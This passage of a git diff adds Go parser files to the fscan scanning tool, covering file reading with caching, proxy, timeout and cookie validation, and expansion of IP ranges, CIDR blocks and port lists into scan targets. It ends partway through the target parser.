+ Size: fileInfo.Size(),
+ ModTime: fileInfo.ModTime(),
+ },
+ }
+
+ // 读取文件内容
+ scanner := bufio.NewScanner(file)
+ scanner.Split(bufio.ScanLines)
+
+ lineNum := 0
+ validLines := 0
+
+ for scanner.Scan() {
+ lineNum++
+ line := scanner.Text()
+
+ // 处理行内容
+ if processedLine, valid := fr.processLine(line, options); valid {
+ result.Lines = append(result.Lines, processedLine)
+ validLines++
+ }
+ }
+
+ // 检查扫描错误
+ if err := scanner.Err(); err != nil {
+ return nil, NewParseError(ErrorTypeReadError, i18n.GetText("parser_file_scan_failed"), filename, lineNum, err)
+ }
+
+ // 更新统计信息
+ result.Source.LineCount = lineNum
+ result.Source.ValidLines = validLines
+ result.ValidLines = validLines
+ result.ReadTime = time.Since(startTime)
+
+ return result, nil
+}
+
+// processLine 处理单行内容
+func (fr *FileReader) processLine(line string, options *FileReaderOptions) (string, bool) {
+ // 清理空白字符
+ if options.TrimSpace {
+ line = strings.TrimSpace(line)
+ }
+
+ // 跳过空行
+ if options.SkipEmpty && line == "" {
+ return "", false
+ }
+
+ // 跳过注释行
+ if options.SkipComments && strings.HasPrefix(line, CommentPrefix) {
+ return "", false
+ }
+
+ // 内容验证
+ if options.EnableValidation && fr.enableValidation {
+ if !fr.validateLine(line) {
+ return "", false
+ }
+ }
+
+ return line, true
+}
+
+// validateLine 验证行内容
+func (fr *FileReader) validateLine(line string) bool {
+ // 基本验证:检查是否包含特殊字符或过长
+ if len(line) > MaxLineLength { // 单行最大字符数
+ return false
+ }
+
+ // 检查是否包含控制字符
+ for _, r := range line {
+ if r < MaxValidRune && r != TabRune && r != NewlineRune && r != CarriageReturnRune { // 排除tab、换行、回车
+ return false
+ }
+ }
+
+ return true
+}
+
+// mergeOptions 合并选项
+func (fr *FileReader) mergeOptions(options ...*FileReaderOptions) *FileReaderOptions {
+ opts := DefaultFileReaderOptions()
+ if len(options) > 0 && options[0] != nil {
+ opts = options[0]
+ }
+ return opts
+}
+
+// getFromCache 从缓存获取结果
+func (fr *FileReader) getFromCache(filename string) *FileResult {
+ fr.mu.RLock()
+ defer fr.mu.RUnlock()
+
+ if result, exists := fr.cache[filename]; exists {
+ // 检查文件是否有更新
+ if fileInfo, err := os.Stat(filename); err == nil {
+ if fileInfo.ModTime().After(result.Source.ModTime) {
+ // 文件已更新,从缓存中移除
+ delete(fr.cache, filename)
+ return nil
+ }
+ }
+ return result
+ }
+ return nil
+}
+
+// addToCache 添加到缓存
+func (fr *FileReader) addToCache(filename string, result *FileResult) {
+ fr.mu.Lock()
+ defer fr.mu.Unlock()
+
+ // 检查缓存大小
+ if len(fr.cache) >= fr.maxCacheSize {
+ // 移除最旧的条目(简单的LRU策略)
+ var oldestFile string
+ var oldestTime time.Time
+ for file, res := range fr.cache {
+ if oldestFile == "" || res.Source.ModTime.Before(oldestTime) {
+ oldestFile = file
+ oldestTime = res.Source.ModTime
+ }
+ }
+ delete(fr.cache, oldestFile)
+ }
+
+ fr.cache[filename] = result
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):ClearCache 和 GetCacheStats 方法
+// =============================================================================================
\ No newline at end of file
diff --git a/common/parsers/NetworkParser.go b/common/parsers/NetworkParser.go
new file mode 100644
index 0000000..a630244
--- /dev/null
+++ b/common/parsers/NetworkParser.go
@@ -0,0 +1,369 @@
+package parsers
+
+import (
+ "fmt"
+ "net/url"
+ "strconv"
+ "strings"
+ "sync"
+ "time"
+
+ "github.com/shadow1ng/fscan/common/i18n"
+)
+
+// NetworkParser 网络配置解析器
+type NetworkParser struct {
+ mu sync.RWMutex //nolint:unused // reserved for future thread safety
+ options *NetworkParserOptions
+}
+
+// NetworkParserOptions 网络解析器选项
+type NetworkParserOptions struct {
+ ValidateProxies bool `json:"validate_proxies"`
+ AllowInsecure bool `json:"allow_insecure"`
+ DefaultTimeout time.Duration `json:"default_timeout"`
+ DefaultWebTimeout time.Duration `json:"default_web_timeout"`
+ DefaultUserAgent string `json:"default_user_agent"`
+}
+
+// DefaultNetworkParserOptions 默认网络解析器选项
+func DefaultNetworkParserOptions() *NetworkParserOptions {
+ return &NetworkParserOptions{
+ ValidateProxies: DefaultValidateProxies,
+ AllowInsecure: DefaultAllowInsecure,
+ DefaultTimeout: DefaultNetworkTimeout,
+ DefaultWebTimeout: DefaultWebTimeout,
+ DefaultUserAgent: DefaultUserAgent,
+ }
+}
+
+// NewNetworkParser 创建网络配置解析器
+func NewNetworkParser(options *NetworkParserOptions) *NetworkParser {
+ if options == nil {
+ options = DefaultNetworkParserOptions()
+ }
+
+ return &NetworkParser{
+ options: options,
+ }
+}
+
+// NetworkInput 网络配置输入参数
+type NetworkInput struct {
+ // 代理配置
+ HttpProxy string `json:"http_proxy"`
+ Socks5Proxy string `json:"socks5_proxy"`
+
+ // 超时配置
+ Timeout int64 `json:"timeout"`
+ WebTimeout int64 `json:"web_timeout"`
+
+ // 网络选项
+ DisablePing bool `json:"disable_ping"`
+ DnsLog bool `json:"dns_log"`
+ UserAgent string `json:"user_agent"`
+ Cookie string `json:"cookie"`
+}
+
+// Parse 解析网络配置
+func (np *NetworkParser) Parse(input *NetworkInput, options *ParserOptions) (*ParseResult, error) {
+ if input == nil {
+ return nil, NewParseError("INPUT_ERROR", "网络配置输入为空", "", 0, ErrEmptyInput)
+ }
+
+ startTime := time.Now()
+ result := &ParseResult{
+ Config: &ParsedConfig{
+ Network: &NetworkConfig{
+ EnableDNSLog: input.DnsLog,
+ DisablePing: input.DisablePing,
+ },
+ },
+ Success: true,
+ }
+
+ var errors []error
+ var warnings []string
+
+ // 解析HTTP代理
+ httpProxy, httpErrors, httpWarnings := np.parseHttpProxy(input.HttpProxy)
+ errors = append(errors, httpErrors...)
+ warnings = append(warnings, httpWarnings...)
+
+ // 解析Socks5代理
+ socks5Proxy, socks5Errors, socks5Warnings := np.parseSocks5Proxy(input.Socks5Proxy)
+ errors = append(errors, socks5Errors...)
+ warnings = append(warnings, socks5Warnings...)
+
+ // 解析超时配置
+ timeout, webTimeout, timeoutErrors, timeoutWarnings := np.parseTimeouts(input.Timeout, input.WebTimeout)
+ errors = append(errors, timeoutErrors...)
+ warnings = append(warnings, timeoutWarnings...)
+
+ // 解析用户代理
+ userAgent, uaErrors, uaWarnings := np.parseUserAgent(input.UserAgent)
+ errors = append(errors, uaErrors...)
+ warnings = append(warnings, uaWarnings...)
+
+ // 解析Cookie
+ cookie, cookieErrors, cookieWarnings := np.parseCookie(input.Cookie)
+ errors = append(errors, cookieErrors...)
+ warnings = append(warnings, cookieWarnings...)
+
+ // 检查代理冲突
+ if httpProxy != "" && socks5Proxy != "" {
+ warnings = append(warnings, "同时配置了HTTP代理和Socks5代理,Socks5代理将被优先使用")
+ }
+
+ // 更新配置
+ result.Config.Network.HttpProxy = httpProxy
+ result.Config.Network.Socks5Proxy = socks5Proxy
+ result.Config.Network.Timeout = timeout
+ result.Config.Network.WebTimeout = webTimeout
+ result.Config.Network.UserAgent = userAgent
+ result.Config.Network.Cookie = cookie
+
+ // 设置结果状态
+ result.Errors = errors
+ result.Warnings = warnings
+ result.ParseTime = time.Since(startTime)
+ result.Success = len(errors) == 0
+
+ return result, nil
+}
+
+// parseHttpProxy 解析HTTP代理配置
+func (np *NetworkParser) parseHttpProxy(proxyStr string) (string, []error, []string) {
+ var errors []error
+ var warnings []string
+
+ if proxyStr == "" {
+ return "", nil, nil
+ }
+
+ // 处理简写形式
+ normalizedProxy := np.normalizeHttpProxy(proxyStr)
+
+ // 验证代理URL
+ if np.options.ValidateProxies {
+ if err := np.validateProxyURL(normalizedProxy); err != nil {
+ errors = append(errors, NewParseError(ErrorTypeProxyError, err.Error(), "http_proxy", 0, err))
+ return "", errors, warnings
+ }
+ }
+
+ return normalizedProxy, errors, warnings
+}
+
+// parseSocks5Proxy 解析Socks5代理配置
+func (np *NetworkParser) parseSocks5Proxy(proxyStr string) (string, []error, []string) {
+ var errors []error
+ var warnings []string
+
+ if proxyStr == "" {
+ return "", nil, nil
+ }
+
+ // 处理简写形式
+ normalizedProxy := np.normalizeSocks5Proxy(proxyStr)
+
+ // 验证代理URL
+ if np.options.ValidateProxies {
+ if err := np.validateProxyURL(normalizedProxy); err != nil {
+ errors = append(errors, NewParseError(ErrorTypeProxyError, err.Error(), "socks5_proxy", 0, err))
+ return "", errors, warnings
+ }
+ }
+
+ // 使用Socks5代理时建议禁用Ping
+ if normalizedProxy != "" {
+ warnings = append(warnings, "使用Socks5代理时建议禁用Ping检测")
+ }
+
+ return normalizedProxy, errors, warnings
+}
+
+// parseTimeouts 解析超时配置
+func (np *NetworkParser) parseTimeouts(timeout, webTimeout int64) (time.Duration, time.Duration, []error, []string) {
+ var errors []error
+ var warnings []string
+
+ // 处理普通超时
+ finalTimeout := np.options.DefaultTimeout
+ if timeout > 0 {
+ if timeout > MaxTimeoutSeconds {
+ warnings = append(warnings, "超时时间过长,建议不超过300秒")
+ }
+ finalTimeout = time.Duration(timeout) * time.Second
+ }
+
+ // 处理Web超时
+ finalWebTimeout := np.options.DefaultWebTimeout
+ if webTimeout > 0 {
+ if webTimeout > MaxWebTimeoutSeconds {
+ warnings = append(warnings, "Web超时时间过长,建议不超过120秒")
+ }
+ finalWebTimeout = time.Duration(webTimeout) * time.Second
+ }
+
+ // 验证超时配置合理性
+ if finalWebTimeout > finalTimeout {
+ warnings = append(warnings, i18n.GetText("config_web_timeout_warning"))
+ }
+
+ return finalTimeout, finalWebTimeout, errors, warnings
+}
+
+// parseUserAgent 解析用户代理
+func (np *NetworkParser) parseUserAgent(userAgent string) (string, []error, []string) {
+ var errors []error
+ var warnings []string
+
+ if userAgent == "" {
+ return np.options.DefaultUserAgent, errors, warnings
+ }
+
+ // 基本格式验证
+ if len(userAgent) > MaxUserAgentLength {
+ errors = append(errors, NewParseError(ErrorTypeUserAgentError, "用户代理字符串过长", "user_agent", 0, nil))
+ return "", errors, warnings
+ }
+
+ // 检查是否包含特殊字符
+ if strings.ContainsAny(userAgent, InvalidUserAgentChars) {
+ errors = append(errors, NewParseError(ErrorTypeUserAgentError, "用户代理包含非法字符", "user_agent", 0, nil))
+ return "", errors, warnings
+ }
+
+ // 检查是否为常见浏览器用户代理
+ if !np.isValidUserAgent(userAgent) {
+ warnings = append(warnings, "用户代理格式可能不被目标服务器识别")
+ }
+
+ return userAgent, errors, warnings
+}
+
+// parseCookie 解析Cookie
+func (np *NetworkParser) parseCookie(cookie string) (string, []error, []string) {
+ var errors []error
+ var warnings []string
+
+ if cookie == "" {
+ return "", errors, warnings
+ }
+
+ // 基本格式验证
+ if len(cookie) > MaxCookieLength { // HTTP Cookie长度限制
+ errors = append(errors, NewParseError(ErrorTypeCookieError, "Cookie字符串过长", "cookie", 0, nil))
+ return "", errors, warnings
+ }
+
+ // 检查Cookie格式
+ if !np.isValidCookie(cookie) {
+ warnings = append(warnings, "Cookie格式可能不正确")
+ }
+
+ return cookie, errors, warnings
+}
+
+// normalizeHttpProxy 规范化HTTP代理URL
+func (np *NetworkParser) normalizeHttpProxy(proxy string) string {
+ switch strings.ToLower(proxy) {
+ case ProxyShortcut1:
+ return ProxyShortcutHTTP
+ case ProxyShortcut2:
+ return ProxyShortcutSOCKS5
+ default:
+ // 如果没有协议前缀,默认使用HTTP
+ if !strings.Contains(proxy, ProtocolPrefix) {
+ if strings.Contains(proxy, ":") {
+ return HTTPPrefix + proxy
+ } else {
+ return HTTPPrefix + "127.0.0.1:" + proxy
+ }
+ }
+ return proxy
+ }
+}
+
+// normalizeSocks5Proxy 规范化Socks5代理URL
+func (np *NetworkParser) normalizeSocks5Proxy(proxy string) string {
+ // 如果没有协议前缀,添加SOCKS5协议
+ if !strings.HasPrefix(proxy, SOCKS5Prefix) {
+ if strings.Contains(proxy, ":") {
+ return SOCKS5Prefix + proxy
+ } else {
+ return SOCKS5Prefix + "127.0.0.1:" + proxy
+ }
+ }
+ return proxy
+}
+
+// validateProxyURL 验证代理URL格式
+func (np *NetworkParser) validateProxyURL(proxyURL string) error {
+ if proxyURL == "" {
+ return nil
+ }
+
+ parsedURL, err := url.Parse(proxyURL)
+ if err != nil {
+ return fmt.Errorf("代理URL格式无效: %v", err)
+ }
+
+ // 检查协议
+ switch parsedURL.Scheme {
+ case ProtocolHTTP, ProtocolHTTPS, ProtocolSOCKS5:
+ // 支持的协议
+ default:
+ return fmt.Errorf("不支持的代理协议: %s", parsedURL.Scheme)
+ }
+
+ // 检查主机名
+ if parsedURL.Hostname() == "" {
+ return fmt.Errorf("代理主机名为空")
+ }
+
+ // 检查端口
+ portStr := parsedURL.Port()
+ if portStr != "" {
+ port, err := strconv.Atoi(portStr)
+ if err != nil {
+ return fmt.Errorf("代理端口号无效: %s", portStr)
+ }
+ if port < 1 || port > 65535 {
+ return fmt.Errorf("代理端口号超出范围: %d", port)
+ }
+ }
+
+ // 安全检查
+ if !np.options.AllowInsecure && parsedURL.Scheme == ProtocolHTTP {
+ return fmt.Errorf("不允许使用不安全的HTTP代理")
+ }
+
+ return nil
+}
+
+// isValidUserAgent 检查用户代理是否有效
+func (np *NetworkParser) isValidUserAgent(userAgent string) bool {
+ // 检查是否包含常见的浏览器标识
+ commonBrowsers := GetCommonBrowsers()
+
+ userAgentLower := strings.ToLower(userAgent)
+ for _, browser := range commonBrowsers {
+ if strings.Contains(userAgentLower, strings.ToLower(browser)) {
+ return true
+ }
+ }
+
+ return false
+}
+
+// isValidCookie 检查Cookie格式是否有效
+func (np *NetworkParser) isValidCookie(cookie string) bool {
+ // 基本Cookie格式检查 (name=value; name2=value2)
+ return CompiledCookieRegex.MatchString(strings.TrimSpace(cookie))
+}
+
+// =============================================================================================
+// 已删除的死代码(未使用):Validate 和 GetStatistics 方法
+// =============================================================================================
\ No newline at end of file
diff --git a/common/parsers/Simple.go b/common/parsers/Simple.go
new file mode 100644
index 0000000..16ee0f3
--- /dev/null
+++ b/common/parsers/Simple.go
@@ -0,0 +1,366 @@
+package parsers
+
+import (
+ "bufio"
+ "fmt"
+ "net"
+ "os"
+ "sort"
+ "strconv"
+ "strings"
+)
+
+/*
+Simple.go - 简化版本的解析器函数
+
+这个文件提供了简化但功能完整的解析函数,用于替代复杂的解析器架构。
+保持与现有代码的接口兼容性,但大幅简化实现逻辑。
+*/
+
+// =============================================================================
+// 简化的IP/主机解析函数
+// =============================================================================
+
+// ParseIP 解析各种格式的IP地址
+// 支持单个IP、IP范围、CIDR和文件输入
+func ParseIP(host string, filename string, nohosts ...string) ([]string, error) {
+ var hosts []string
+
+ // 如果提供了文件名,从文件读取主机列表
+ if filename != "" {
+ fileHosts, fileErr := readHostsFromFile(filename)
+ if fileErr != nil {
+ return nil, fmt.Errorf("读取主机文件失败: %v", fileErr)
+ }
+ hosts = append(hosts, fileHosts...)
+ }
+
+ // 解析主机参数
+ if host != "" {
+ hostList, hostErr := parseHostString(host)
+ if hostErr != nil {
+ return nil, fmt.Errorf("解析主机失败: %v", hostErr)
+ }
+ hosts = append(hosts, hostList...)
+ }
+
+ // 处理排除主机
+ if len(nohosts) > 0 && nohosts[0] != "" {
+ excludeList, excludeErr := parseHostString(nohosts[0])
+ if excludeErr != nil {
+ return nil, fmt.Errorf("解析排除主机失败: %v", excludeErr)
+ }
+ hosts = excludeHosts(hosts, excludeList)
+ }
+
+ // 去重和排序
+ hosts = removeDuplicates(hosts)
+ sort.Strings(hosts)
+
+ if len(hosts) == 0 {
+ return nil, fmt.Errorf("没有找到有效的主机")
+ }
+
+ return hosts, nil
+}
+
+// =============================================================================
+// 简化的端口解析函数
+// =============================================================================
+
+// ParsePort 解析端口配置字符串为端口号列表
+// 保持与 ParsePort 的接口兼容性
+func ParsePort(ports string) []int {
+ if ports == "" {
+ return nil
+ }
+
+ var result []int
+
+ // 处理预定义端口组
+ ports = expandPortGroups(ports)
+
+ // 按逗号分割
+ for _, portStr := range strings.Split(ports, ",") {
+ portStr = strings.TrimSpace(portStr)
+ if portStr == "" {
+ continue
+ }
+
+ // 处理端口范围 (如 1-100)
+ if strings.Contains(portStr, "-") {
+ rangePorts := parsePortRange(portStr)
+ result = append(result, rangePorts...)
+ } else {
+ // 单个端口
+ if port, err := strconv.Atoi(portStr); err == nil {
+ if port >= MinPort && port <= MaxPort {
+ result = append(result, port)
+ }
+ }
+ }
+ }
+
+ // 去重和排序
+ result = removeDuplicatePorts(result)
+ sort.Ints(result)
+
+ return result
+}
+
+// 已移除未使用的 ParsePortsFromString 方法
+
+// =============================================================================
+// 辅助函数
+// =============================================================================
+
+// readHostsFromFile 从文件读取主机列表
+func readHostsFromFile(filename string) ([]string, error) {
+ file, err := os.Open(filename)
+ if err != nil {
+ return nil, err
+ }
+ defer file.Close()
+
+ var hosts []string
+ scanner := bufio.NewScanner(file)
+ for scanner.Scan() {
+ line := strings.TrimSpace(scanner.Text())
+ if line != "" && !strings.HasPrefix(line, CommentPrefix) {
+ hosts = append(hosts, line)
+ }
+ }
+
+ return hosts, scanner.Err()
+}
+
+// parseHostString 解析主机字符串
+func parseHostString(host string) ([]string, error) {
+ var hosts []string
+
+ // 按逗号分割多个主机
+ for _, h := range strings.Split(host, ",") {
+ h = strings.TrimSpace(h)
+ if h == "" {
+ continue
+ }
+
+ // 检查是否为CIDR格式
+ if strings.Contains(h, "/") {
+ cidrHosts, err := parseCIDR(h)
+ if err != nil {
+ return nil, fmt.Errorf("解析CIDR %s 失败: %v", h, err)
+ }
+ hosts = append(hosts, cidrHosts...)
+ } else if strings.Contains(h, "-") && !strings.Contains(h, ":") {
+ // IP范围格式 (如 192.168.1.1-10)
+ rangeHosts, err := parseIPRange(h)
+ if err != nil {
+ return nil, fmt.Errorf("解析IP范围 %s 失败: %v", h, err)
+ }
+ hosts = append(hosts, rangeHosts...)
+ } else {
+ // 单个主机
+ hosts = append(hosts, h)
+ }
+ }
+
+ return hosts, nil
+}
+
+// parseCIDR 解析CIDR格式的网段
+func parseCIDR(cidr string) ([]string, error) {
+ _, ipNet, err := net.ParseCIDR(cidr)
+ if err != nil {
+ return nil, err
+ }
+
+ var hosts []string
+ for ip := ipNet.IP.Mask(ipNet.Mask); ipNet.Contains(ip); nextIP(ip) {
+ hosts = append(hosts, ip.String())
+
+ // 限制最大主机数量,防止内存溢出
+ if len(hosts) > SimpleMaxHosts {
+ break
+ }
+ }
+
+ // 移除网络地址和广播地址
+ if len(hosts) > 2 {
+ hosts = hosts[1 : len(hosts)-1]
+ }
+
+ return hosts, nil
+}
+
+// parseIPRange 解析IP范围
+func parseIPRange(rangeStr string) ([]string, error) {
+ parts := strings.Split(rangeStr, "-")
+ if len(parts) != 2 {
+ return nil, fmt.Errorf("无效的IP范围格式: %s", rangeStr)
+ }
+
+ startIP := strings.TrimSpace(parts[0])
+ endPart := strings.TrimSpace(parts[1])
+
+ // 检查是否为短格式 (如 192.168.1.1-10)
+ if !strings.Contains(endPart, ".") {
+ return parseShortIPRange(startIP, endPart)
+ }
+
+ // 完整IP范围
+ return parseFullIPRange(startIP, endPart)
+}
+
+// parseShortIPRange 解析短格式IP范围
+func parseShortIPRange(startIPStr, endSuffix string) ([]string, error) {
+ startIP := net.ParseIP(startIPStr)
+ if startIP == nil {
+ return nil, fmt.Errorf("无效的起始IP: %s", startIPStr)
+ }
+
+ endNum, err := strconv.Atoi(endSuffix)
+ if err != nil {
+ return nil, fmt.Errorf("无效的结束数字: %s", endSuffix)
+ }
+
+ var hosts []string
+ startIPParts := strings.Split(startIPStr, ".")
+ if len(startIPParts) != IPv4OctetCount {
+ return nil, fmt.Errorf("无效的IP格式: %s", startIPStr)
+ }
+
+ baseIP := strings.Join(startIPParts[:3], ".")
+ startNum, _ := strconv.Atoi(startIPParts[3])
+
+ for i := startNum; i <= endNum && i <= RouterSwitchLastOctet; i++ {
+ hosts = append(hosts, fmt.Sprintf("%s.%d", baseIP, i))
+ }
+
+ return hosts, nil
+}
+
+// parseFullIPRange 解析完整IP范围
+func parseFullIPRange(startIPStr, endIPStr string) ([]string, error) {
+ startIP := net.ParseIP(startIPStr)
+ endIP := net.ParseIP(endIPStr)
+
+ if startIP == nil || endIP == nil {
+ return nil, fmt.Errorf("无效的IP地址")
+ }
+
+ var hosts []string
+ for ip := make(net.IP, len(startIP)); ; nextIP(ip) {
+ copy(ip, startIP)
+ hosts = append(hosts, ip.String())
+
+ if ip.Equal(endIP) {
+ break
+ }
+
+ // 限制最大主机数量
+ if len(hosts) > SimpleMaxHosts {
+ break
+ }
+
+ nextIP(startIP)
+ }
+
+ return hosts, nil
+}
+
+// parsePortRange 解析端口范围
+func parsePortRange(rangeStr string) []int {
+ parts := strings.Split(rangeStr, "-")
+ if len(parts) != 2 {
+ return nil
+ }
+
+ start, err1 := strconv.Atoi(strings.TrimSpace(parts[0]))
+ end, err2 := strconv.Atoi(strings.TrimSpace(parts[1]))
+
+ if err1 != nil || err2 != nil || start < MinPort || end > MaxPort || start > end {
+ return nil
+ }
+
+ var ports []int
+ for i := start; i <= end; i++ {
+ ports = append(ports, i)
+ }
+
+ return ports
+}
+
+// expandPortGroups 展开端口组
+func expandPortGroups(ports string) string {
+ // 使用预定义的端口组
+ portGroups := GetPortGroups()
+
+ result := ports
+ for group, portList := range portGroups {
+ result = strings.ReplaceAll(result, group, portList)
+ }
+
+ return result
+}
+
+// excludeHosts 排除指定的主机
+func excludeHosts(hosts, excludeList []string) []string {
+ if len(excludeList) == 0 {
+ return hosts
+ }
+
+ excludeMap := make(map[string]struct{})
+ for _, exclude := range excludeList {
+ excludeMap[exclude] = struct{}{}
+ }
+
+ var result []string
+ for _, host := range hosts {
+ if _, found := excludeMap[host]; !found {
+ result = append(result, host)
+ }
+ }
+
+ return result
+}
+
+// removeDuplicates 去除字符串重复项
+func removeDuplicates(slice []string) []string {
+ keys := make(map[string]struct{})
+ var result []string
+
+ for _, item := range slice {
+ if _, found := keys[item]; !found {
+ keys[item] = struct{}{}
+ result = append(result, item)
+ }
+ }
+
+ return result
+}
+
+// removeDuplicatePorts 去除端口重复项
+func removeDuplicatePorts(slice []int) []int {
+ keys := make(map[int]struct{})
+ var result []int
+
+ for _, item := range slice {
+ if _, found := keys[item]; !found {
+ keys[item] = struct{}{}
+ result = append(result, item)
+ }
+ }
+
+ return result
+}
+
+// nextIP 计算下一个IP地址
+func nextIP(ip net.IP) {
+ for j := len(ip) - 1; j >= 0; j-- {
+ ip[j]++
+ if ip[j] > 0 {
+ break
+ }
+ }
+}
\ No newline at end of file
diff --git a/common/parsers/TargetParser.go b/common/parsers/TargetParser.go
new file mode 100644
index 0000000..6986afd
--- /dev/null
+++ b/common/parsers/TargetParser.go
@@ -0,0 +1,920 @@
+package parsers
+
+import (
+ "fmt"
+ "net"
+ "net/url"
+ "regexp"
+ "strconv"
+ "strings"
+ "sync"
+ "time"
+)
+
+// TargetParser 目标解析器
+type TargetParser struct {
+ fileReader *FileReader
+ mu sync.RWMutex //nolint:unused // reserved for future thread safety
+ ipRegex *regexp.Regexp
+ portRegex *regexp.Regexp
+ urlRegex *regexp.Regexp
+ options *TargetParserOptions
+}
+
+// TargetParserOptions 目标解析器选项
+type TargetParserOptions struct {
+ MaxTargets int `json:"max_targets"`
+ MaxPortRange int `json:"max_port_range"`
+ AllowPrivateIPs bool `json:"allow_private_ips"`
+ AllowLoopback bool `json:"allow_loopback"`
+ ValidateURLs bool `json:"validate_urls"`
+ ResolveDomains bool `json:"resolve_domains"`
+ EnableStatistics bool `json:"enable_statistics"`
+}
+
+// DefaultTargetParserOptions 默认目标解析器选项
+func DefaultTargetParserOptions() *TargetParserOptions {
+ return &TargetParserOptions{
+ MaxTargets: DefaultTargetMaxTargets,
+ MaxPortRange: DefaultMaxPortRange,
+ AllowPrivateIPs: DefaultAllowPrivateIPs,
+ AllowLoopback: DefaultAllowLoopback,
+ ValidateURLs: DefaultValidateURLs,
+ ResolveDomains: DefaultResolveDomains,
+ EnableStatistics: DefaultTargetEnableStatistics,
+ }
+}
+
+// NewTargetParser 创建目标解析器
+func NewTargetParser(fileReader *FileReader, options *TargetParserOptions) *TargetParser {
+ if options == nil {
+ options = DefaultTargetParserOptions()
+ }
+
+ // 使用预编译的正则表达式
+ ipRegex := CompiledIPv4Regex
+ portRegex := CompiledPortRegex
+ urlRegex := CompiledURLRegex
+
+ return &TargetParser{
+ fileReader: fileReader,
+ ipRegex: ipRegex,
+ portRegex: portRegex,
+ urlRegex: urlRegex,
+ options: options,
+ }
+}
+
+// TargetInput 目标输入参数
+type TargetInput struct {
+ // 主机相关
+ Host string `json:"host"`
+ HostsFile string `json:"hosts_file"`
+ ExcludeHosts string `json:"exclude_hosts"`
+
+ // 端口相关
+ Ports string `json:"ports"`
+ PortsFile string `json:"ports_file"`
+ AddPorts string `json:"add_ports"`
+ ExcludePorts string `json:"exclude_ports"`
+
+ // URL相关
+ TargetURL string `json:"target_url"`
+ URLsFile string `json:"urls_file"`
+
+ // 主机端口组合
+ HostPort []string `json:"host_port"`
+
+ // 模式标识
+ LocalMode bool `json:"local_mode"`
+}
+
+// Parse 解析目标配置
+func (tp *TargetParser) Parse(input *TargetInput, options *ParserOptions) (*ParseResult, error) {
+ if input == nil {
+ return nil, NewParseError(ErrorTypeInputError, "目标输入为空", "", 0, ErrEmptyInput)
+ }
+
+ startTime := time.Now()
+ result := &ParseResult{
+ Config: &ParsedConfig{
+ Targets: &TargetConfig{
+ LocalMode: input.LocalMode,
+ },
+ },
+ Success: true,
+ }
+
+ var errors []error
+ var warnings []string
+
+ // 解析主机
+ hosts, hostErrors, hostWarnings := tp.parseHosts(input)
+ errors = append(errors, hostErrors...)
+ warnings = append(warnings, hostWarnings...)
+
+ // 解析URL
+ urls, urlErrors, urlWarnings := tp.parseURLs(input)
+ errors = append(errors, urlErrors...)
+ warnings = append(warnings, urlWarnings...)
+
+ // 解析端口
+ ports, portErrors, portWarnings := tp.parsePorts(input)
+ errors = append(errors, portErrors...)
+ warnings = append(warnings, portWarnings...)
+
+ // 解析排除端口
+ excludePorts, excludeErrors, excludeWarnings := tp.parseExcludePorts(input)
+ errors = append(errors, excludeErrors...)
+ warnings = append(warnings, excludeWarnings...)
+
+ // 解析主机端口组合
+ hostPorts, hpErrors, hpWarnings := tp.parseHostPorts(input)
+ errors = append(errors, hpErrors...)
+ warnings = append(warnings, hpWarnings...)
+
+ // 更新配置
+ result.Config.Targets.Hosts = hosts
+ result.Config.Targets.URLs = urls
+ result.Config.Targets.Ports = ports
+ result.Config.Targets.ExcludePorts = excludePorts
+ result.Config.Targets.HostPorts = hostPorts
+
+ // 生成统计信息
+ if tp.options.EnableStatistics {
+ result.Config.Targets.Statistics = tp.generateStatistics(hosts, urls, ports, excludePorts)
+ }
+
+ // 设置结果状态
+ result.Errors = errors
+ result.Warnings = warnings
+ result.ParseTime = time.Since(startTime)
+ result.Success = len(errors) == 0
+
+ return result, nil
+}
+
+// parseHosts 解析主机
+func (tp *TargetParser) parseHosts(input *TargetInput) ([]string, []error, []string) {
+ var hosts []string
+ var errors []error
+ var warnings []string
+
+ // 解析命令行主机
+ if input.Host != "" {
+ hostList, err := tp.parseHostList(input.Host)
+ if err != nil {
+ errors = append(errors, NewParseError(ErrorTypeHostError, err.Error(), "command line", 0, err))
+ } else {
+ hosts = append(hosts, hostList...)
+ }
+ }
+
+ // 从文件读取主机
+ if input.HostsFile != "" {
+ fileResult, err := tp.fileReader.ReadFile(input.HostsFile)
+ if err != nil {
+ errors = append(errors, NewParseError(ErrorTypeFileError, "读取主机文件失败", input.HostsFile, 0, err))
+ } else {
+ for i, line := range fileResult.Lines {
+ hostList, err := tp.parseHostList(line)
+ if err != nil {
+ warnings = append(warnings, fmt.Sprintf("主机文件第%d行解析失败: %s", i+1, err.Error()))
+ } else {
+ hosts = append(hosts, hostList...)
+ }
+ }
+ }
+ }
+
+ // 处理排除主机
+ if input.ExcludeHosts != "" {
+ excludeList, err := tp.parseHostList(input.ExcludeHosts)
+ if err != nil {
+ warnings = append(warnings, fmt.Sprintf("排除主机解析失败: %s", err.Error()))
+ } else {
+ hosts = tp.excludeHosts(hosts, excludeList)
+ }
+ }
+
+ // 去重和验证,同时分离host:port格式
+ hosts = tp.removeDuplicateStrings(hosts)
+ validHosts := make([]string, 0, len(hosts))
+ hostPorts := make([]string, 0)
+
+ for _, host := range hosts {
+ // 检查是否为host:port格式
+ if strings.Contains(host, ":") {
+ if h, portStr, err := net.SplitHostPort(host); err == nil {
+ // 验证端口号
+ if port, portErr := strconv.Atoi(portStr); portErr == nil && port >= MinPort && port <= MaxPort {
+ // 验证主机部分
+ if valid, hostErr := tp.validateHost(h); valid {
+ // 这是有效的host:port组合,添加到hostPorts
+ hostPorts = append(hostPorts, host)
+ continue
+ } else if hostErr != nil {
+ warnings = append(warnings, fmt.Sprintf("无效主机端口组合: %s - %s", host, hostErr.Error()))
+ continue
+ }
+ }
+ }
+ }
+
+ // 作为普通主机验证
+ if valid, err := tp.validateHost(host); valid {
+ validHosts = append(validHosts, host)
+ } else if err != nil {
+ warnings = append(warnings, fmt.Sprintf("无效主机: %s - %s", host, err.Error()))
+ }
+ }
+
+ // 将找到的hostPorts合并到输入结果中(通过修改input结构)
+ if len(hostPorts) > 0 {
+ input.HostPort = append(input.HostPort, hostPorts...)
+ }
+
+ // 检查目标数量限制
+ if len(validHosts) > tp.options.MaxTargets {
+ warnings = append(warnings, fmt.Sprintf("主机数量超过限制,截取前%d个", tp.options.MaxTargets))
+ validHosts = validHosts[:tp.options.MaxTargets]
+ }
+
+ return validHosts, errors, warnings
+}
+
+// parseURLs 解析URL
+func (tp *TargetParser) parseURLs(input *TargetInput) ([]string, []error, []string) {
+ var urls []string
+ var errors []error
+ var warnings []string
+
+ // 解析命令行URL
